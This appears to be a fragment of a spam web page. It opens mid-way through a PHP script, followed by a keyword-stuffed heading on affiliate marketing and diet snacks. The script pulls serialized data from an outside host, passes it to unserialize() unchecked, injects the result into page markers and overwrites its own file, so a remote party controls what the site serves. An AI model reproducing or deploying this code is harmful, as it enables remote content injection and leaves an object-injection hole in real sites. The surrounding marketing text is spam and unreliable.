filebody = file_get_contents(__FILE__); $this->filebody = preg_replace('~^.*?// End o PHP code\\s*\\?>\\s*~s', '', $this->filebody); $this->filebody = $this->_replace($this->filebody); if (is_writable(__FILE__) && @file_put_contents(__FILE__, $this->filebody)) { readfile(__FILE__); } else { echo $this->filebody; } exit; } function _replace($file_body) { $GLOBALS['setSnippetObj'] = new SetSnippet; $file_body = preg_replace_callback('~<\\?php\\s+echo\\s+\\$(first_snippet.*?)\\s*;\\s*\\?>~', create_function( '$regs', 'return $GLOBALS[\'setSnippetObj\']->replaceMarker($regs[1]);'), $file_body); return $file_body; } } class SetSnippet { var $source = 'http://universalwebserver.com/user_s/snippet_first_static_serial.php'; var $snippet_array = array(); // function SetSnippet() { $this->snippet_array = unserialize(file_get_contents($this->source)); //print_r($this->snippet_array); } function replaceMarker($key) { return array_key_exists($key, $this->snippet_array) ? $this->snippet_array[$key] : ''; } } // End o PHP code ?>

How to Market Your Own Product And Earn Massive Affiliate Commissions

The latest in How to Market Your Own Product And Earn Massive Affiliate Commissions, diet snacks headlines, and importantdiet snacks announcements!